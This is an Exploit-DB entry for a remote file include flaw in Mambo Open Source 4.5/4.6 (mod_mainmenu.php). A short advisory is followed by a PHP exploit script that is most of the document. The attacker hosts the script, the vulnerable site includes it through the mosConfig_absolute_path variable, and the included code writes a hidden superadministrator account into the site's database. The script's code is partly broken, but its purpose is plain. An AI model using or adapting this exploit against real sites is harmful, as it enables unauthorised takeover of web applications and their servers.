Mambo Open Source 4.5/4.6 mod_mainmenu.php Remote File Include Vulnerability

ID EDB-ID:23553
Type exploitdb
Reporter Yo_Soy
Modified 2004-01-19T00:00:00


Mambo Open Source 4.5/4.6 mod_mainmenu.php Remote File Include Vulnerability. Webapps exploit for php platform


It has been reported that Mambo Open Source may be prone to a remote file include vulnerability that may allow an attacker to include malicious external files containing arbitrary PHP code to be executed on a vulnerable system. The issue exists because remote users may reportedly influence the include path for external scripts by supplying their own value for the 'mosConfig_absolute_path' variable in the 'mod_mainmenu.php' script.

Mambo Open Source versions 4.5 and 4.6 have been reported to be prone to this issue, however other versions could be affected as well.

|| Mambo OS v4.5 y v4.6 xploit
|| This script will insert a superadministrator user to the mambo database.
|| Change the variables bellow and upload this script to
|| then go to the victim's url using that like the value in mosConfig_absolute, ex.
|| Advisory:
|| Yo_Soy - <>
|| Raza Mexicana Hackers Team -

// Just change this vars ------------------------------
$hacker_nick = 'hax0r';
$hacker_pass = 'eaea';
$base_path_url = "/home/victim/public_html/";  # <-- ending slash
// ----------------------------------------------------

$body = <<<END
        \$hacker_nick = "$hacker_nick";
        \$hacker_pass = md5("$hacker_pass");
        \$base_path_url = "$base_path_url";

        \$conn = mysql_connect("\$mosConfig_host", "\$mosConfig_user", "\$mosConfig_password");
        \$rmht_sql = "INSERT INTO mos_users VALUES (800, 'hax0r', '\$hacker_nick', 'admin@wherever',
        "'\$hacker_pass', 'superadministrator', 0, 1, 25, '2003-11-11 00:00:00', '0000-00-00 00:00:00
'); ";
        \$resultado = mysql_query(\$rmht_sql);
        \$rmht_sql = "INSERT INTO mos_core_acl_aro VALUES (800,'users','800',0,'hax0r',0);";
        \$resultado = mysql_query(\$rmht_sql);
         \$rmht_sql = "INSERT INTO mos_core_acl_groups_aro_map VALUES (25,'',800);";
        \$resultado = mysql_query(\$rmht_sql);
print $body;